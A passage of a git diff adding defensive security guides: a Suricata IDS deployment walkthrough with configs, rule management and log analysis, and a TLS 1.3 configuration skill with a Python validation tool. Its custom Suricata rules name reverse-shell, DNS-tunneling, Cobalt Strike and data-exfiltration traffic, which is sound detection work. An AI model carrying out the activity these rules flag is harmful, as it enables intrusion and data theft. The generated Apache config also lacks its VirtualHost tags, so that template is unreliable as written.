auto + cluster-id: 99 + cluster-type: cluster_flow + defrag: yes + use-mmap: yes + ring-size: 200000 + buffer-size: 262144 + +# EVE JSON logging (primary output format) +outputs: + - eve-log: + enabled: yes + filetype: regular + filename: eve.json + pcap-file: false + community-id: true + types: + - alert: + tagged-packets: yes + payload: yes + payload-printable: yes + http-body: yes + http-body-printable: yes + - http: + extended: yes + - dns: + query: yes + answer: yes + - tls: + extended: yes + - files: + force-magic: yes + force-hash: [md5, sha256] + - smtp: + extended: yes + - flow + - netflow + - anomaly: + enabled: yes + - stats: + totals: yes + threads: yes + + # PCAP logging for captured packets that trigger alerts + - pcap-log: + enabled: yes + filename: alert-%n.pcap + limit: 100mb + max-files: 50 + mode: normal + use-stream-depth: no + honor-pass-rules: no + +# Stream engine settings +stream: + memcap: 512mb + checksum-validation: no + reassembly: + memcap: 1gb + depth: 1mb + toserver-chunk-size: 2560 + toclient-chunk-size: 2560 + +# Detection engine +detect: + profile: high + custom-values: + toclient-groups: 200 + toserver-groups: 200 + sgh-mpm-context: auto + inspection-recursion-limit: 3000 + +# Protocol detection and parsing +app-layer: + protocols: + http: + enabled: yes + memcap: 64mb + tls: + enabled: yes + detection-ports: + dp: 443, 8443 + ja3-fingerprints: yes + dns: + enabled: yes + tcp: + enabled: yes + udp: + enabled: yes + smb: + enabled: yes + detection-ports: + dp: 139, 445 + ssh: + enabled: yes + hassh: yes +``` + +### Step 4: Download and Manage Rulesets + +```bash +# Update Suricata rules using suricata-update +sudo suricata-update + +# Enable additional rule sources +sudo suricata-update list-sources +sudo suricata-update enable-source et/open +sudo suricata-update enable-source oisf/trafficid +sudo suricata-update enable-source ptresearch/attackdetection + +# Update with all enabled sources +sudo suricata-update + +# Check rule statistics +sudo suricata-update list-sources --enabled +wc -l /var/lib/suricata/rules/suricata.rules + +# Disable noisy rules +sudo tee /etc/suricata/disable.conf << 'EOF' +# Disable overly broad rules +2100498 +2013028 +2210000-2210050 +group:emerging-policy.rules +EOF + +# Create custom local rules +sudo tee /etc/suricata/rules/local.rules << 'EOF' +# Detect reverse shell connections +alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"LOCAL Reverse Shell Port 4444"; flow:established,to_server; content:"|2f 62 69 6e 2f|"; sid:9000001; rev:1; classtype:trojan-activity; priority:1;) + +# Detect DNS tunneling by query length +alert dns $HOME_NET any -> any any (msg:"LOCAL DNS Tunneling Long Query"; dns.query; content:"."; offset:50; sid:9000002; rev:1; classtype:policy-violation; priority:2;) + +# Detect TLS to suspicious JA3 hash (Cobalt Strike default) +alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"LOCAL Cobalt Strike JA3 Hash"; ja3.hash; content:"72a589da586844d7f0818ce684948eea"; sid:9000003; rev:1; classtype:trojan-activity; priority:1;) + +# Detect SSH brute force +alert ssh $EXTERNAL_NET any -> $HOME_NET 22 (msg:"LOCAL SSH Brute Force Attempt"; flow:to_server; threshold:type both, track by_src, count 10, seconds 60; sid:9000004; rev:1; classtype:attempted-admin; priority:2;) + +# Detect data exfiltration via HTTP POST (large uploads) +alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"LOCAL Large HTTP POST Upload"; flow:to_server,established; http.method; content:"POST"; http.content_len; content:">"; byte_test:8,>,10000000,0,string; sid:9000005; rev:1; classtype:policy-violation; priority:2;) +EOF + +# Add local rules to configuration +echo " - local.rules" | sudo tee -a /etc/suricata/suricata.yaml +``` + +### Step 5: Deploy and Validate + +```bash +# Validate configuration +sudo suricata -T -c /etc/suricata/suricata.yaml -v + +# Run Suricata in IDS mode +sudo suricata -c /etc/suricata/suricata.yaml --af-packet=eth1 -D + +# Or run in IPS mode (inline with NFQueue) +# First configure iptables to send traffic to NFQueue +# sudo iptables -I FORWARD -j NFQUEUE --queue-num 0 +# sudo suricata -c /etc/suricata/suricata.yaml -q 0 -D + +# Create systemd service +sudo tee /etc/systemd/system/suricata.service << 'EOF' +[Unit] +Description=Suricata IDS/IPS +After=network.target +Requires=network.target + +[Service] +Type=simple +ExecStartPre=/usr/bin/suricata -T -c /etc/suricata/suricata.yaml +ExecStart=/usr/bin/suricata -c /etc/suricata/suricata.yaml --af-packet=eth1 --pidfile /var/run/suricata.pid +ExecReload=/bin/kill -USR2 $MAINPID +Restart=on-failure + +[Install] +WantedBy=multi-user.target +EOF + +sudo systemctl enable --now suricata + +# Test with a known signature +curl http://testmynids.org/uid/index.html +# Should trigger ET GPL rule for uid. + +# Verify alerts are generated +sudo tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")' +``` + +### Step 6: Integrate with SIEM and Monitor + +```bash +# Parse EVE JSON with jq for quick analysis +# Top 10 alerts +cat /var/log/suricata/eve.json | jq -r 'select(.event_type=="alert") | .alert.signature' | sort | uniq -c | sort -rn | head -10 + +# Extract IOCs from alerts +cat /var/log/suricata/eve.json | jq -r 'select(.event_type=="alert") | [.timestamp, .src_ip, .dest_ip, .alert.signature, .alert.severity] | @csv' > alert_summary.csv + +# JA3 fingerprint analysis +cat /var/log/suricata/eve.json | jq -r 'select(.event_type=="tls") | [.src_ip, .tls.ja3.hash, .tls.sni] | @csv' | sort | uniq -c | sort -rn + +# DNS query analysis +cat /var/log/suricata/eve.json | jq -r 'select(.event_type=="dns" and .dns.type=="query") | [.src_ip, .dns.rrname, .dns.rrtype] | @csv' | sort | uniq -c | sort -rn | head -20 + +# Configure Filebeat for Elastic integration +sudo tee /etc/filebeat/modules.d/suricata.yml << 'EOF' +- module: suricata + eve: + enabled: true + var.paths: ["/var/log/suricata/eve.json"] +EOF + +sudo filebeat modules enable suricata +sudo systemctl restart filebeat + +# Monitor Suricata performance +cat /var/log/suricata/eve.json | jq 'select(.event_type=="stats") | .stats.capture' | tail -1 +# Check for packet drops: kernel_drops should be 0 +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **EVE JSON** | Suricata's primary logging format producing structured JSON events for alerts, protocol metadata, flow records, and statistics | +| **AF_PACKET** | Linux kernel packet capture mechanism used by Suricata for high-performance traffic capture with kernel-bypass capabilities | +| **JA3/JA3S** | TLS fingerprinting method that creates hash values from TLS Client Hello and Server Hello parameters for identifying applications and malware | +| **HASSH** | SSH fingerprinting method similar to JA3 that creates hashes from SSH key exchange parameters to identify SSH client and server implementations | +| **Community ID** | Standardized flow identifier hash that enables correlation of the same network flow across different monitoring tools (Suricata, Zeek, Wireshark) | +| **suricata-update** | Official rule management tool that downloads, merges, and manages multiple rulesets with enable/disable controls | + +## Tools & Systems + +- **Suricata 7.0+**: Open-source multi-threaded IDS/IPS/NSM engine with protocol detection, file extraction, and JA3/HASSH fingerprinting +- **suricata-update**: Ruleset management tool supporting ET Open, ET Pro, Snort rules, and custom rule sources +- **Elastic Stack (ELK)**: Log aggregation and visualization platform with native Suricata module in Filebeat for dashboards and alerting +- **Scirius**: Web-based Suricata rule management interface for editing, enabling/disabling, and monitoring rule performance +- **Evebox**: Lightweight event viewer for Suricata EVE JSON logs with alert management and escalation capabilities + +## Common Scenarios + +### Scenario: Deploying Suricata IDS on a 10 Gbps Enterprise Network Perimeter + +**Context**: A technology company needs to deploy IDS at their internet egress point handling 10 Gbps of traffic. They require protocol-level metadata logging for threat hunting, signature-based alerting for known threats, and JA3 fingerprinting for detecting malware C2 communications. Alerts must feed into their Elastic SIEM. + +**Approach**: +1. Deploy Suricata on a server with 16 CPU cores, 64 GB RAM, and dual 10G NICs using AF_PACKET with 14 worker threads +2. Enable ET Open and ptresearch/attackdetection rulesets via suricata-update, totaling approximately 35,000 active rules +3. Configure EVE JSON logging with community-id, extended HTTP/TLS/DNS metadata, and file hashing (MD5 + SHA256) +4. Enable JA3 and HASSH fingerprinting for TLS and SSH traffic profiling +5. Write custom rules for organization-specific threats: known bad JA3 hashes, DNS queries to DGA domains, large data uploads to uncommon destinations +6. Integrate with Elastic via Filebeat's Suricata module, deploying pre-built Kibana dashboards for real-time visibility +7. Tune rules over a 2-week baseline period, disabling false-positive generators and adjusting thresholds + +**Pitfalls**: +- Not allocating sufficient CPU threads, causing packet drops at peak traffic volumes +- Enabling all available rules without tuning, overwhelming analysts with false positives +- Forgetting to disable NIC offloading, resulting in incorrect checksums and missed detections +- Not enabling community-id, making it difficult to correlate Suricata events with Zeek or other tools + +## Output Format + +``` +## Suricata IDS Deployment Report + +**Sensor**: suricata-gw-01 (10.10.1.251) +**Interface**: eth1 (span from border router) +**Configuration**: /etc/suricata/suricata.yaml +**Worker Threads**: 14 AF_PACKET threads +**Active Rules**: 35,247 (ET Open + Custom) + +### Performance Metrics (24-hour) + +| Metric | Value | +|--------|-------| +| Packets Processed | 847,293,421 | +| Kernel Drops | 0 (0.000%) | +| Alerts Generated | 1,247 | +| Unique Signatures Fired | 89 | +| JA3 Fingerprints Observed | 342 unique | +| Files Extracted | 2,847 | + +### Top 10 Alert Signatures + +| Count | SID | Signature | Severity | +|-------|-----|-----------|----------| +| 312 | 2024897 | ET POLICY curl User-Agent Outbound | 3 | +| 189 | 9000003 | LOCAL Cobalt Strike JA3 Hash | 1 | +| 145 | 2028765 | ET SCAN Nmap SYN Scan | 2 | +| 98 | 9000002 | LOCAL DNS Tunneling Long Query | 2 | + +### Critical Alerts Requiring Immediate Triage +1. SID 9000003: Cobalt Strike JA3 from 10.10.5.12 to 203.0.113.50 (189 alerts) +2. SID 9000002: DNS tunneling from 10.10.3.45 to suspect-domain.xyz (98 alerts) +``` diff --git a/skills/configuring-tls-1-3-for-secure-communications/SKILL.md b/skills/configuring-tls-1-3-for-secure-communications/SKILL.md new file mode 100644 index 00000000..61afb85e --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/SKILL.md @@ -0,0 +1,79 @@ +--- +name: configuring-tls-1.3-for-secure-communications +description: TLS 1.3 (RFC 8446) is the latest version of the Transport Layer Security protocol, providing significant improvements over TLS 1.2 in both security and performance. It reduces handshake latency to 1-R +domain: cybersecurity +subdomain: cryptography +tags: [cryptography, tls, ssl, transport-security, network-security] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring TLS 1.3 for Secure Communications + +## Overview + +TLS 1.3 (RFC 8446) is the latest version of the Transport Layer Security protocol, providing significant improvements over TLS 1.2 in both security and performance. It reduces handshake latency to 1-RTT (and 0-RTT for resumed sessions), removes obsolete cipher suites, and mandates perfect forward secrecy. This skill covers configuring TLS 1.3 on servers, validating configurations, and testing for common misconfigurations. + +## Objectives + +- Configure TLS 1.3 on nginx and Apache web servers +- Implement TLS 1.3 in Python applications using the ssl module +- Validate TLS configurations with openssl and testssl.sh +- Understand TLS 1.3 cipher suites and key exchange mechanisms +- Configure 0-RTT early data with appropriate protections +- Disable legacy TLS versions (1.0, 1.1) and weak cipher suites + +## Key Concepts + +### TLS 1.3 Cipher Suites + +| Cipher Suite | Key Exchange | Authentication | Encryption | Hash | +|-------------|-------------|----------------|------------|------| +| TLS_AES_256_GCM_SHA384 | ECDHE/DHE | Certificate | AES-256-GCM | SHA-384 | +| TLS_AES_128_GCM_SHA256 | ECDHE/DHE | Certificate | AES-128-GCM | SHA-256 | +| TLS_CHACHA20_POLY1305_SHA256 | ECDHE/DHE | Certificate | ChaCha20-Poly1305 | SHA-256 | + +### TLS 1.3 vs 1.2 Improvements + +- **1-RTT Handshake**: Full handshake completes in one round trip (vs 2 in TLS 1.2) +- **0-RTT Resumption**: Resumed connections can send data immediately +- **No RSA Key Exchange**: Only ephemeral Diffie-Hellman (mandatory PFS) +- **Simplified Cipher Suites**: Removed CBC, RC4, 3DES, static RSA, SHA-1 +- **Encrypted Handshake**: Server certificate is encrypted after ServerHello + +### Key Exchange Groups + +- **x25519**: Curve25519 ECDH (preferred, fast) +- **secp256r1**: NIST P-256 ECDH (widely supported) +- **secp384r1**: NIST P-384 ECDH (higher security margin) +- **x448**: Curve448 ECDH (highest security) + +## Implementation Steps + +1. Verify OpenSSL version supports TLS 1.3 (1.1.1+) +2. Generate or obtain TLS certificate and private key +3. Configure server to use TLS 1.3 cipher suites +4. Disable TLS 1.0 and 1.1 (optionally keep 1.2 for compatibility) +5. Set preferred key exchange groups +6. Enable OCSP stapling for certificate validation +7. Test configuration with openssl s_client and testssl.sh +8. Configure HSTS header for HTTP Strict Transport Security + +## Security Considerations + +- 0-RTT data is vulnerable to replay attacks; limit to idempotent requests +- Always include TLS 1.2 fallback if legacy client support is required +- Use ECDSA certificates for better performance (vs RSA) +- Enable OCSP stapling to improve client certificate validation +- Set HSTS header with long max-age and includeSubDomains +- Monitor for certificate transparency logs + +## Validation Criteria + +- [ ] TLS 1.3 handshake completes successfully +- [ ] Only approved cipher suites are offered +- [ ] Perfect forward secrecy is enforced +- [ ] TLS 1.0 and 1.1 are rejected +- [ ] OCSP stapling is functional +- [ ] Certificate chain is valid and complete +- [ ] testssl.sh reports no vulnerabilities diff --git a/skills/configuring-tls-1-3-for-secure-communications/assets/template.md b/skills/configuring-tls-1-3-for-secure-communications/assets/template.md new file mode 100644 index 00000000..2b5659f2 --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/assets/template.md @@ -0,0 +1,67 @@ +# TLS 1.3 Configuration Template + +## Pre-Configuration Checklist + +- [ ] Verify OpenSSL version >= 1.1.1 (`openssl version`) +- [ ] Obtain valid TLS certificate from trusted CA +- [ ] Identify all server endpoints requiring TLS +- [ ] Determine minimum TLS version (1.2 or 1.3 only) +- [ ] Plan certificate renewal automation (Let's Encrypt / ACME) +- [ ] Review compliance requirements (PCI-DSS, HIPAA) + +## nginx Configuration Template + +```nginx +ssl_protocols TLSv1.2 TLSv1.3; +ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256'; +ssl_prefer_server_ciphers off; +ssl_ecdh_curve X25519:secp256r1:secp384r1; +ssl_session_timeout 1d; +ssl_session_cache shared:SSL:10m; +ssl_session_tickets off; +ssl_stapling on; +ssl_stapling_verify on; +add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; +``` + +## Python TLS 1.3 Client Template + +```python +import ssl +import socket + +context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) +context.minimum_version = ssl.TLSVersion.TLSv1_3 +context.load_default_certs() + +with socket.create_connection(("example.com", 443)) as sock: + with context.wrap_socket(sock, server_hostname="example.com") as tls: + print(f"Protocol: {tls.version()}") + print(f"Cipher: {tls.cipher()}") +``` + +## Validation Commands + +```bash +# Test TLS 1.3 support +openssl s_client -connect example.com:443 -tls1_3 + +# Show full certificate chain +openssl s_client -connect example.com:443 -showcerts + +# List supported cipher suites +openssl s_client -connect example.com:443 -cipher 'ALL' -tls1_3 + +# Test with testssl.sh +./testssl.sh --protocols --ciphers --headers example.com +``` + +## Security Headers Checklist + +| Header | Value | Purpose | +|--------|-------|---------| +| Strict-Transport-Security | max-age=63072000; includeSubDomains; preload | Force HTTPS | +| X-Content-Type-Options | nosniff | Prevent MIME sniffing | +| X-Frame-Options | DENY | Prevent clickjacking | +| Content-Security-Policy | default-src 'self' | Prevent XSS | +| Referrer-Policy | strict-origin-when-cross-origin | Limit referrer leakage | diff --git a/skills/configuring-tls-1-3-for-secure-communications/references/standards.md b/skills/configuring-tls-1-3-for-secure-communications/references/standards.md new file mode 100644 index 00000000..38edd3b1 --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/references/standards.md @@ -0,0 +1,67 @@ +# Standards and References - TLS 1.3 Configuration + +## Primary Standards + +### RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3 +- **URL**: https://www.rfc-editor.org/rfc/rfc8446 +- **Description**: The core TLS 1.3 specification +- **Key changes**: 1-RTT handshake, mandatory PFS, removed RSA key transport, encrypted handshake messages + +### RFC 8447 - IANA Registry Updates for TLS and DTLS +- **URL**: https://www.rfc-editor.org/rfc/rfc8447 +- **Description**: Updates IANA registries for TLS cipher suites and extensions + +### RFC 8449 - Record Size Limit Extension for TLS +- **URL**: https://www.rfc-editor.org/rfc/rfc8449 +- **Description**: Allows endpoints to negotiate maximum record size + +### RFC 8470 - Using Early Data in HTTP (0-RTT) +- **URL**: https://www.rfc-editor.org/rfc/rfc8470 +- **Description**: Defines how 0-RTT early data works with HTTP, including replay protections + +### RFC 6961 - TLS Multiple Certificate Status Extension (OCSP Stapling) +- **URL**: https://www.rfc-editor.org/rfc/rfc6961 +- **Description**: Allows servers to provide OCSP responses during handshake + +### RFC 6797 - HTTP Strict Transport Security (HSTS) +- **URL**: https://www.rfc-editor.org/rfc/rfc6797 +- **Description**: Forces browsers to use HTTPS for all connections + +## NIST Guidelines + +### NIST SP 800-52 Rev. 2 - Guidelines for TLS Implementations +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-52/rev-2/final +- **Description**: Federal guidelines for TLS deployment +- **TLS 1.3**: Recommended for all new deployments +- **TLS 1.2**: Acceptable with approved cipher suites +- **TLS 1.0/1.1**: Prohibited + +### NIST SP 800-57 Part 3 Rev. 1 - Application-Specific Key Management +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-57-part-3/rev-1/final +- **Description**: Key management guidance for TLS + +## Testing Tools + +### testssl.sh +- **URL**: https://testssl.sh/ +- **GitHub**: https://github.com/drwetter/testssl.sh +- **Description**: Command-line tool for checking TLS/SSL configurations + +### SSL Labs Server Test +- **URL**: https://www.ssllabs.com/ssltest/ +- **Description**: Online TLS configuration analyzer (Qualys) + +### Mozilla SSL Configuration Generator +- **URL**: https://ssl-config.mozilla.org/ +- **Description**: Generate recommended TLS configurations for various servers + +## Compliance + +### PCI DSS v4.0 +- TLS 1.0 and early TLS prohibited since June 2018 +- TLS 1.2+ required; TLS 1.3 recommended +- Strong cipher suites must be configured + +### HIPAA +- Encryption in transit required for ePHI +- TLS 1.2+ satisfies the requirement diff --git a/skills/configuring-tls-1-3-for-secure-communications/references/workflows.md b/skills/configuring-tls-1-3-for-secure-communications/references/workflows.md new file mode 100644 index 00000000..920bc60c --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/references/workflows.md @@ -0,0 +1,87 @@ +# Workflows - Configuring TLS 1.3 + +## Workflow 1: TLS 1.3 Handshake (1-RTT) + +``` +Client Server + | | + |--- ClientHello ------------------>| + | (supported_versions: TLS 1.3) | + | (key_share: x25519) | + | (signature_algorithms) | + | (cipher_suites) | + | | + |<-- ServerHello -------------------| + | (selected cipher suite) | + | (key_share: x25519) | + |<-- {EncryptedExtensions} ---------| + |<-- {Certificate} -----------------| + |<-- {CertificateVerify} -----------| + |<-- {Finished} --------------------| + | | + |--- {Finished} ------------------->| + | | + |<== Application Data ==============>| +``` + +## Workflow 2: nginx TLS 1.3 Configuration + +``` +1. Check OpenSSL version (>= 1.1.1) + $ openssl version + +2. Generate ECDSA certificate + $ openssl ecparam -genkey -name prime256v1 -out server.key + $ openssl req -new -x509 -key server.key -out server.crt -days 365 + +3. Configure nginx + Edit /etc/nginx/nginx.conf + +4. Test configuration + $ nginx -t + +5. Reload nginx + $ systemctl reload nginx + +6. Verify TLS 1.3 + $ openssl s_client -connect localhost:443 -tls1_3 +``` + +## Workflow 3: TLS Configuration Validation + +``` +[Server] --> [openssl s_client test] + | + [Check protocol version] + [Check cipher suite] + [Check certificate chain] + | + [testssl.sh full scan] + | + [Check for vulnerabilities] + - BEAST, POODLE, Heartbleed + - ROBOT, DROWN, FREAK + - Weak ciphers, expired certs + | + [SSL Labs grade assessment] + Target: A+ rating +``` + +## Workflow 4: Certificate Lifecycle + +``` +[Generate Key Pair] + | +[Create CSR] --> [Submit to CA] + | + [CA Issues Certificate] + | + [Install Certificate] + | + [Configure OCSP Stapling] + | + [Set Up Auto-Renewal] + (certbot / ACME) + | + [Monitor Expiration] +``` diff --git a/skills/configuring-tls-1-3-for-secure-communications/scripts/process.py b/skills/configuring-tls-1-3-for-secure-communications/scripts/process.py new file mode 100644 index 00000000..8e6c39e9 --- /dev/null +++ b/skills/configuring-tls-1-3-for-secure-communications/scripts/process.py @@ -0,0 +1,419 @@ +#!/usr/bin/env python3 +""" +TLS 1.3 Configuration and Validation Tool + +Implements TLS 1.3 server/client testing, configuration generation, +and vulnerability scanning using Python's ssl module and OpenSSL. + +Requirements: + pip install cryptography + +Usage: + python process.py test-server --host example.com --port 443 + python process.py generate-nginx --domain example.com --cert-path /etc/ssl + python process.py generate-cert --domain example.com --output ./certs + python process.py check-ciphers --host example.com +""" + +import os +import ssl +import sys +import json +import socket +import argparse +import logging +import subprocess +import datetime +from pathlib import Path +from typing import Optional, Dict, List + +from cryptography import x509 +from cryptography.x509.oid import NameOID, ExtensionOID +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import ec, rsa + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +TLS_13_CIPHERS = [ + "TLS_AES_256_GCM_SHA384", + "TLS_AES_128_GCM_SHA256", + "TLS_CHACHA20_POLY1305_SHA256", +] + +RECOMMENDED_TLS_12_CIPHERS = [ + "ECDHE-ECDSA-AES256-GCM-SHA384", + "ECDHE-RSA-AES256-GCM-SHA384", + "ECDHE-ECDSA-AES128-GCM-SHA256", + "ECDHE-RSA-AES128-GCM-SHA256", + "ECDHE-ECDSA-CHACHA20-POLY1305", + "ECDHE-RSA-CHACHA20-POLY1305", +] + + +def test_tls_connection(host: str, port: int = 443, timeout: int = 10) -> Dict: + """Test TLS connection to a server and report protocol details.""" + results = { + "host": host, + "port": port, + "tls_13_supported": False, + "tls_12_supported": False, + "protocol_version": None, + "cipher_suite": None, + "certificate": None, + "issues": [], + } + + # Test TLS 1.3 + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.minimum_version = ssl.TLSVersion.TLSv1_3 + ctx.maximum_version = ssl.TLSVersion.TLSv1_3 + + with socket.create_connection((host, port), timeout=timeout) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + results["tls_13_supported"] = True + results["protocol_version"] = ssock.version() + cipher = ssock.cipher() + results["cipher_suite"] = { + "name": cipher[0], + "protocol": cipher[1], + "bits": cipher[2], + } + cert = ssock.getpeercert() + results["certificate"] = { + "subject": dict(x[0] for x in cert.get("subject", ())), + "issuer": dict(x[0] for x in cert.get("issuer", ())), + "notBefore": cert.get("notBefore"), + "notAfter": cert.get("notAfter"), + "serialNumber": cert.get("serialNumber"), + "version": cert.get("version"), + } + logger.info(f"TLS 1.3 connection successful: {cipher[0]}") + except ssl.SSLError as e: + results["issues"].append(f"TLS 1.3 not supported: {e}") + logger.warning(f"TLS 1.3 not supported on {host}:{port}") + except Exception as e: + results["issues"].append(f"Connection error: {e}") + + # Test TLS 1.2 + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.minimum_version = ssl.TLSVersion.TLSv1_2 + ctx.maximum_version = ssl.TLSVersion.TLSv1_2 + + with socket.create_connection((host, port), timeout=timeout) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + results["tls_12_supported"] = True + if not results["tls_13_supported"]: + results["protocol_version"] = ssock.version() + cipher = ssock.cipher() + results["cipher_suite"] = { + "name": cipher[0], + "protocol": cipher[1], + "bits": cipher[2], + } + except (ssl.SSLError, Exception): + pass + + # Test deprecated protocols + for version_name, version_enum in [ + ("TLS 1.1", ssl.TLSVersion.TLSv1_1), + ("TLS 1.0", ssl.TLSVersion.TLSv1), + ]: + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.minimum_version = version_enum + ctx.maximum_version = version_enum + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + with socket.create_connection((host, port), timeout=timeout) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + results["issues"].append( + f"VULNERABLE: {version_name} is still enabled (should be disabled)" + ) + logger.warning(f"{version_name} is enabled on {host}:{port}") + except (ssl.SSLError, OSError): + pass + + return results + + +def check_cipher_suites(host: str, port: int = 443, timeout: int = 10) -> Dict: + """Check which cipher suites a server supports.""" + results = {"host": host, "port": port, "supported_ciphers": [], "weak_ciphers": []} + + weak_patterns = ["RC4", "DES", "3DES", "MD5", "NULL", "EXPORT", "anon"] + + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + + try: + with socket.create_connection((host, port), timeout=timeout) as sock: + with ctx.wrap_socket(sock, server_hostname=host) as ssock: + cipher = ssock.cipher() + results["negotiated_cipher"] = { + "name": cipher[0], + "protocol": cipher[1], + "bits": cipher[2], + } + shared = ssock.shared_ciphers() + if shared: + for c in shared: + cipher_info = {"name": c[0], "protocol": c[1], "bits": c[2]} + results["supported_ciphers"].append(cipher_info) + if any(weak in c[0] for weak in weak_patterns): + results["weak_ciphers"].append(cipher_info) + except Exception as e: + results["error"] = str(e) + + return results + + +def generate_self_signed_cert( + domain: str, output_dir: str, key_type: str = "ecdsa" +) -> Dict: + """Generate a self-signed TLS certificate for testing.""" + output_path = Path(output_dir) + output_path.mkdir(parents=True, exist_ok=True) + + if key_type == "ecdsa": + private_key = ec.generate_private_key(ec.SECP256R1()) + key_filename = "server-ecdsa.key" + cert_filename = "server-ecdsa.crt" + else: + private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + key_filename = "server-rsa.key" + cert_filename = "server-rsa.crt" + + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COUNTRY_NAME, "US"), + x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Test Organization"), + x509.NameAttribute(NameOID.COMMON_NAME, domain), + ]) + + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(issuer) + .public_key(private_key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.datetime.utcnow()) + .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) + .add_extension( + x509.SubjectAlternativeName([ + x509.DNSName(domain), + x509.DNSName(f"*.{domain}"), + ]), + critical=False, + ) + .add_extension( + x509.BasicConstraints(ca=False, path_length=None), + critical=True, + ) + .sign(private_key, hashes.SHA256()) + ) + + key_path = output_path / key_filename + cert_path = output_path / cert_filename + + key_path.write_bytes( + private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption(), + ) + ) + + cert_path.write_bytes(cert.public_bytes(serialization.Encoding.PEM)) + + logger.info(f"Generated {key_type.upper()} certificate for {domain}") + logger.info(f" Key: {key_path}") + logger.info(f" Cert: {cert_path}") + + return { + "domain": domain, + "key_type": key_type, + "key_path": str(key_path), + "cert_path": str(cert_path), + "valid_days": 365, + } + + +def generate_nginx_config( + domain: str, cert_path: str, key_path: str, enable_tls12: bool = True +) -> str: + """Generate nginx TLS 1.3 configuration.""" + tls_protocols = "TLSv1.3" + if enable_tls12: + tls_protocols = "TLSv1.2 TLSv1.3" + + tls12_ciphers = ":".join(RECOMMENDED_TLS_12_CIPHERS) + + config = f"""# TLS 1.3 Optimized nginx Configuration +# Generated for: {domain} +# Mozilla SSL Configuration Generator: Modern profile + +server {{ + listen 443 ssl http2; + listen [::]:443 ssl http2; + server_name {domain}; + + # Certificate paths + ssl_certificate {cert_path}; + ssl_certificate_key {key_path}; + + # Protocol versions + ssl_protocols {tls_protocols}; + + # TLS 1.2 cipher suites (TLS 1.3 ciphers are configured automatically) + ssl_ciphers '{tls12_ciphers}'; + ssl_prefer_server_ciphers off; + + # ECDH curve + ssl_ecdh_curve X25519:secp256r1:secp384r1; + + # OCSP Stapling + ssl_stapling on; + ssl_stapling_verify on; + resolver 1.1.1.1 8.8.8.8 valid=300s; + resolver_timeout 5s; + + # Session configuration + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + ssl_session_tickets off; + + # Security headers + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "DENY" always; + add_header X-XSS-Protection "0" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + + # Root and index + root /var/www/{domain}/html; + index index.html; + + location / {{ + try_files $uri $uri/ =404; + }} +}} + +# HTTP to HTTPS redirect +server {{ + listen 80; + listen [::]:80; + server_name {domain}; + return 301 https://$server_name$request_uri; +}} +""" + return config + + +def generate_apache_config( + domain: str, cert_path: str, key_path: str, enable_tls12: bool = True +) -> str: + """Generate Apache TLS 1.3 configuration.""" + tls_protocols = "TLSv1.3" + if enable_tls12: + tls_protocols = "TLSv1.2 TLSv1.3" + + tls12_ciphers = ":".join(RECOMMENDED_TLS_12_CIPHERS) + + config = f"""# TLS 1.3 Optimized Apache Configuration +# Generated for: {domain} + + + ServerName {domain} + DocumentRoot /var/www/{domain}/html + + SSLEngine on + SSLCertificateFile {cert_path} + SSLCertificateKeyFile {key_path} + + # Protocol versions + SSLProtocol all -{" -".join(["SSLv3", "TLSv1", "TLSv1.1"])} + {"" if enable_tls12 else "SSLProtocol TLSv1.3"} + + # Cipher suites + SSLCipherSuite {tls12_ciphers} + SSLHonorCipherOrder off + + # OCSP Stapling + SSLUseStapling on + SSLStaplingCache shmcb:/var/run/ocsp(128000) + + # Security headers + Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" + Header always set X-Content-Type-Options "nosniff" + Header always set X-Frame-Options "DENY" + + +# HTTP to HTTPS redirect + + ServerName {domain} + Redirect permanent / https://{domain}/ + +""" + return config + + +def main(): + parser = argparse.ArgumentParser(description="TLS 1.3 Configuration Tool") + subparsers = parser.add_subparsers(dest="command") + + # Test server + test = 